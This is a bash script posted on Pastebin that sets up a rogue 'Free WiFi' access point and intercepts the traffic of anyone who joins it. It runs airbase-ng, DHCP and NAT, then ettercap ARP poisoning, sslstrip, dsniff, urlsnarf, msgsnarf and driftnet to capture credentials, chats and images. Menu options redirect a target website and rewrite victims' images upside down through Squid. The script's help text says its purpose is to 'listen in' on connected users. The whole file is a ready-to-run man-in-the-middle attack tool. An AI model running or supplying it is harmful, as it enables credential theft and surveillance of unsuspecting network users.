Advertisement
Guest User

BK4 Soft AP Upside Down Image

a guest
Nov 5th, 2010
319
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.94 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Colored dialogs
  4. GREEN="\033[1;32m"
  5. RED="\033[1;31m"
  6. END="\033[1;37m"
  7.  
  8. clear
  9. echo -e "For this to run please ensue that you know what "
  10. echo 'card is connected to the internet'
  11. echo 'and what card is in Monitor mode'
  12. echo
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21. # Download and install Apache2 only if it isn't installed
  22. if [ -f /usr/sbin/apache2 ] && [ -f /usr/sbin/apache2ctl ];then
  23. echo -e ""$GREEN"Apache2 (Web server) found in your system"$END""
  24. echo;else
  25. echo -e ""$RED"Installing Apache2 - Web server"$END""
  26. apt-get install -y apache2 apache2-mpm-prefork apache2.2-common
  27. echo
  28. # apache2 2.2.9-7ubuntu3.2 [45.1kB]
  29. # apache2.2-common 2.2.9-7ubuntu3.2 [778kB]
  30. # apache2-mpm-prefork 2.2.9-7ubuntu3.2 [236kB]
  31. fi
  32.  
  33. # Download and install Mogrify only if it isn't installed
  34. if [ -f /usr/bin/mogrify ];then
  35. echo -e ""$GREEN"ImageMagick's Mogrify found in your system"$END"";else
  36. echo -e ""$RED"Installing ImageMagick"$END""
  37. apt-get install -y imagemagick
  38. fi
  39.  
  40. # Download and install Squid3 only if it isn't installed
  41. if [ -f /usr/sbin/squid3 ];then
  42. echo -e ""$GREEN"Squid3 (Proxy caching server for web clients)"
  43. echo -e "found in your system"$END""
  44. echo;else
  45. echo -e ""$RED"Installing Squid3 - Proxy caching server for web clients"$END""
  46. apt-get install -y squid3 squid3-common
  47. # squid3-common 3.0.STABLE7-1ubuntu1 [225kB]
  48. # squid3 3.0.STABLE7-1ubuntu1 [873kB]
  49. fi
  50.  
  51. echo 'Setting up the folders...'
  52. echo
  53. export HOME_DIR="/root/Fake_AP"
  54. export TMP_DIR="/root/Fake_AP/tmp/"
  55. export DAY_DIR=$HOME_DIR"/$(date +%d-%m-%y_%T)"
  56. export REDIR="off"
  57. # Making working and backup directory
  58. if [ ! -d $HOME_DIR ];then
  59. mkdir $HOME_DIR
  60. mkdir $TMP_DIR
  61. fi
  62.  
  63. touch /var/run/dhcpd.pid && chmod 777 /var/run/dhcpd.pid
  64.  
  65. mkdir $DAY_DIR
  66. mkdir $DAY_DIR"/DriftNet"
  67. mkdir $DAY_DIR"/Dsniff"
  68. mkdir $DAY_DIR"/Ettercap"
  69. mkdir $DAY_DIR"/SslStrip"
  70.  
  71. echo -n "Enter the name of the wireless card that is connected to the internet, for example:- wlan0: "
  72. read -e wlan
  73.  
  74. export GATEWAY="`/sbin/route | grep 'default'| awk '{print $2}'`"
  75. export IPADD="`/sbin/ifconfig $wlan| grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"
  76.  
  77. echo -n "Enter the name of the wireless card that is in monitor mode, for example:- ath0: "
  78. read -e MON
  79.  
  80. echo -n "Enter the ESSID you would like your rogue AP to be called, for example:- Free WiFi: "
  81. read -e AP
  82.  
  83. modprobe tun
  84.  
  85. #airbase-ng is going to create our fake AP with the SSID we specified
  86. xterm -bg black -fg yellow -e airbase-ng -c 6 -e "$AP" $mon &
  87.  
  88. sleep 3
  89.  
  90. echo Configuring interface created by airdrop-ng
  91. ifconfig at0 up
  92. ifconfig at0 10.0.0.1 netmask 255.255.255.0
  93. ifconfig at0 mtu 1400
  94. route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
  95.  
  96. echo 'Setting up iptables to handle traffic seen by the airdrop-ng (at0) interface...'
  97. echo
  98. iptables --flush
  99. iptables --table nat --flush
  100. iptables --delete-chain
  101. iptables --table nat --delete-chain
  102. iptables -P FORWARD ACCEPT
  103. iptables -t nat -A POSTROUTING -o $wlan -j MASQUERADE
  104.  
  105. echo 'Creating a dhcpd.conf to assign addresses to clients that connect to us...'
  106. echo
  107. echo "default-lease-time 600;" > $HOME_DIR/dhcpd.conf
  108. echo "max-lease-time 720;" >> $HOME_DIR/dhcpd.conf
  109. echo "ddns-update-style none;" >> $HOME_DIR/dhcpd.conf
  110. echo "authoritative;" >> $HOME_DIR/dhcpd.conf
  111. echo "log-facility local7;" >> $HOME_DIR/dhcpd.conf
  112. echo "subnet 10.0.0.0 netmask 255.255.255.0 {" >> $HOME_DIR/dhcpd.conf
  113. echo "range 10.0.0.100 10.0.0.254;" >> $HOME_DIR/dhcpd.conf
  114. echo "option routers 10.0.0.1;" >> $HOME_DIR/dhcpd.conf
  115. echo "option domain-name-servers $GATEWAY;" >> $HOME_DIR/dhcpd.conf
  116. echo "}" >> $HOME_DIR/dhcpd.conf
  117.  
  118. echo 'DHCP server starting on our airdrop-ng interface (at0)'
  119. echo
  120.  
  121. xterm -bg black -fg blue -e dhcpd3 -f -cf $HOME_DIR/dhcpd.conf at0 &
  122. echo "Launching DHCP entries log"
  123. echo
  124. xterm -bg black -fg red -e tail -f /var/log/messages &
  125. echo "Launching ettercap, poisoning all hosts on the at0 interface's subnet"
  126. echo
  127. xterm -bg black -fg white -e ettercap -T -q -p -l $DAY_DIR/Ettercap/ettercap -i at0 // // &
  128. sleep 8
  129.  
  130. echo 'Configuring ip forwarding'
  131. echo
  132. echo "1" > /proc/sys/net/ipv4/ip_forward
  133.  
  134. echo 'Launching various tools'
  135. xterm -rightbar -bg black -fg green -e sslstrip -a -k -f --write $DAY_DIR/SslStrip/ssl.log &
  136. xterm -rightbar -bg black -fg green -e urlsnarf -i at0 &
  137. xterm -rightbar -bg black -fg green -e dsniff -m -i at0 -d -w $DAY_DIR/Dsniff/dsniff.log &
  138.  
  139. sleep 5
  140.  
  141. echo
  142. showMenu () {
  143. clear
  144. echo
  145. echo ""
  146. echo -e " Fake AP Name: ""$RED"$AP"$END"
  147. echo -e " IP Address: "$RED"$IPADD""$END"
  148. echo -e " Gateway: "$RED"$GATEWAY""$END"
  149.  
  150. if [ "$REDIR" == "on" ];then
  151. echo -e " $website being redirected to /Var/www/index.html"
  152. fi
  153. echo ""
  154. echo ""
  155. echo " 1) Read Ettercap Log"
  156. echo " 2) Read DSniff Log"
  157. echo " 3) Start MSN Logger"
  158. echo " 4) Start DriftNet"
  159. if [ "$REDIR" == "off" ];then
  160. echo " 5) Redirect"
  161. elif [ "$REDIR" == "on" ];then
  162. echo " 5) Turn Redirect Off"
  163. fi
  164. echo " 6) Flip Images Upside down"
  165. echo " 7) Help"
  166. echo " 8) Exit"
  167.  
  168. echo
  169.  
  170. }
  171. while [ 1 ]
  172. do
  173. showMenu
  174. read CHOICE
  175. case "$CHOICE" in
  176. "1")
  177. echo "Loading up the Ettercap Log";
  178. konsole --noclose -T "Etterlog" -e etterlog -p $DAY_DIR/Ettercap/ettercap.eci
  179. ;;
  180. "2")
  181. echo "Loading up the DSniff Log";
  182. konsole --noclose -T "DSniff" -e dsniff -r $DAY_DIR/Dsniff/dsniff.log
  183. ;;
  184. "3")
  185. xterm -T "IM Chat" -e msgsnarf -i at0 &
  186. ;;
  187. "4")
  188. xterm -rightbar -bg black -fg green -e driftnet -v -a -i at0 -d $TMP_DIR/ &
  189. ;;
  190. "5")
  191.  
  192. if [ "$REDIR" == "off" ];then
  193.  
  194. clear
  195. echo -n "Enter the Website to set as target: "
  196. read -e website
  197. iptables -t nat -A PREROUTING -p tcp -d $website --dport 80 -j DNAT --to 10.0.0.1:80
  198.  
  199. /etc/init.d/apache2 start
  200.  
  201. export REDIR="on"
  202. echo ""
  203. echo "Done..."
  204. echo ""
  205. echo "All requests for $website will now be redirected to 10.0.0.1/index.html"
  206. sleep 5
  207.  
  208. elif [ "$REDIR" == "on" ];then
  209. /etc/init.d/apache2 stop
  210. iptables --flush
  211. iptables --table nat --flush
  212. iptables --delete-chain
  213. iptables --table nat --delete-chain
  214. iptables -P FORWARD ACCEPT
  215. iptables -t nat -A POSTROUTING -o $wlan -j MASQUERADE
  216. export REDIR="off"
  217. fi
  218. ;;
  219.  
  220. "6")
  221.  
  222.  
  223. cat > /usr/local/bin/redirect.pl << "EOF"
  224. #!/usr/bin/perl
  225. $|=1;
  226. $count = 0;
  227. $pid = $$;
  228. while (<>) {
  229. chomp $_;
  230. if ($_ =~ /(.*\.jpg)/i) {
  231. $url = $1;
  232. system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.jpg", "$url");
  233. system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.jpg");
  234. print "http://10.0.0.1/images/$pid-$count.jpg\n";
  235. }
  236. elsif ($_ =~ /(.*\.gif)/i) {
  237. $url = $1;
  238. system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.gif", "$url");
  239. system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.gif");
  240. print "http://10.0.0.1/images/$pid-$count.gif\n";
  241.  
  242. }
  243. elsif ($_ =~ /(.*\.png)/i) {
  244. $url = $1;
  245. system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.png", "$url");
  246. system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.png");
  247. print "http://10.0.0.1/images/$pid-$count.png\n";
  248.  
  249. }
  250. elsif ($_ =~ /(.*\.bmp)/i) {
  251. $url = $1;
  252. system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.bmp", "$url");
  253. system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.bmp");
  254. print "http://10.0.0.1/images/$pid-$count.bmp\n";
  255.  
  256. }
  257. else {
  258. print "$_\n";;
  259. }
  260. $count++;
  261. }
  262. EOF
  263. # Make it executable
  264. chmod 755 /usr/local/bin/redirect.pl
  265. if [ ! -d /var/www/images ];then
  266. mkdir /var/www/images
  267. chown -R www-data:www-data /var/www
  268. chmod -R 1777 /var/www
  269. usermod -aG proxy www-data;else
  270. rm /var/www/images/*
  271. fi
  272.  
  273. sed '39s%.*%url_rewrite_program /usr/local/bin/redirect.pl%g' /etc/squid3/squid.conf > /etc/squid3/squid1.conf && mv /etc/squid3/squid1.conf /etc/squid3/squid.conf
  274. sed '40s%.*%redirect_children 12%g' /etc/squid3/squid.conf > /etc/squid3/squid1.conf && mv /etc/squid3/squid1.conf /etc/squid3/squid.conf
  275.  
  276. /etc/init.d/apache2 start
  277. /etc/init.d/squid3 start
  278.  
  279.  
  280. iptables --flush
  281. iptables --table nat --flush
  282. iptables --delete-chain
  283. iptables --table nat --delete-chain
  284. echo 1 > /proc/sys/net/ipv4/ip_forward
  285. iptables --table nat --append POSTROUTING --out-interface $wlan -j MASQUERADE
  286. iptables --append FORWARD --in-interface at0 -j ACCEPT
  287. iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to $IPADD
  288. #Transparent Squid3
  289. iptables -t nat -A PREROUTING -i at0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.0.0.1:3128
  290. iptables -t nat -A PREROUTING -i $wlan -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128
  291.  
  292.  
  293.  
  294.  
  295.  
  296.  
  297. ;;
  298.  
  299. "7") # Instructions
  300. clear
  301. echo "Instructions"
  302. echo ""
  303. echo "This utility is used to create a Fake Access Point."
  304. echo "it will allow others to connect to the internet through you"
  305. echo "and allow you to listen in to what they are up to"
  306. echo ""
  307. echo "Once it has been run, it will create a new folder at /root/"
  308. echo "in there it will create a DHCPD.CONF file,A TMP directory for the storage"
  309. echo "of images from DRIFTNET and a working directoy named with the date and time"
  310. echo "of the start of the program. when you close the script all images from TMP"
  311. echo "will be moved into the relavant working directory. this is also where all"
  312. echo "logs are saved"
  313. echo ""
  314. echo "Requirments:-"
  315. echo "1) You will need to be connected to the internet,either by Lan or Wireless"
  316. echo "2) Have another wireless card already set in monitor mode"
  317. echo ""
  318. echo "How To:-"
  319. echo "If you are reading this then you should already have the basics set up"
  320. echo "That being a Fake AP set up with a name of your choice"
  321. echo "You should be able to have clients connect to it and be issued a IP address"
  322. echo "There should also be a number of Xterm windows showing different statistics"
  323. echo "I.e. anything being reported by SSLSTRIP,DSNIFF,URLSNARF,ETTERCAP and DHCP Requests"
  324. echo ""
  325. echo "Along with these instructions on the menu, there is options to read the ouput"
  326. echo "from the Ettercap and Dsniff programs"
  327. echo ""
  328. echo "To start MSGSNARF to listen into various chat programs, although im sure this has"
  329. echo "been set up correctly i have not managed to sniff anything yet"
  330. echo ""
  331. echo "DRIFTNET has been included, All images are automatically saved to the TMP folder"
  332. echo "and moved to the working directory on closure of the script."
  333. echo ""
  334. echo "To enable routing."
  335. echo "Once selected it will ask you for a target website. it will then load up Apache2"
  336. echo "and redirect any traffic thats destined for the target website to 10.0.0.1. you will"
  337. echo "you will have to make sure that you have an index.html page in there for it to work "
  338. echo "or it will come up with a 404 page not found error. I am still working on how to send"
  339. echo "all traffic to that address, as in a Captive Portal setup"
  340. echo ""
  341. echo "Press any key to continue"
  342. echo -n
  343. read
  344.  
  345. ;;
  346. "8")
  347. echo "******************************************************************";
  348. echo "*******Now Shutting Down All Windows********";
  349. echo "*************And saving logs****************";
  350. echo "******************************************************************";
  351. mv $TMP_DIR*.* $DAY_DIR/DriftNet/
  352.  
  353. sleep 3
  354. #stop the APACHE server
  355. /etc/init.d/apache2 stop
  356. #stop squid
  357. /etc/init.d/squid3 stop
  358. # reset all IPTABLES
  359. iptables --flush
  360. iptables --table nat --flush
  361. iptables --delete-chain
  362. iptables --table nat --delete-chain
  363. iptables -P FORWARD ACCEPT
  364. iptables -t nat -A POSTROUTING -o $wlan -j MASQUERADE
  365. sleep 3
  366. killall -9 dhcpd3 airbase-ng ettercap sslstrip driftnet urlsnarf dsniff xterm ;
  367.  
  368. exit 0
  369. ;;
  370. esac
  371. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement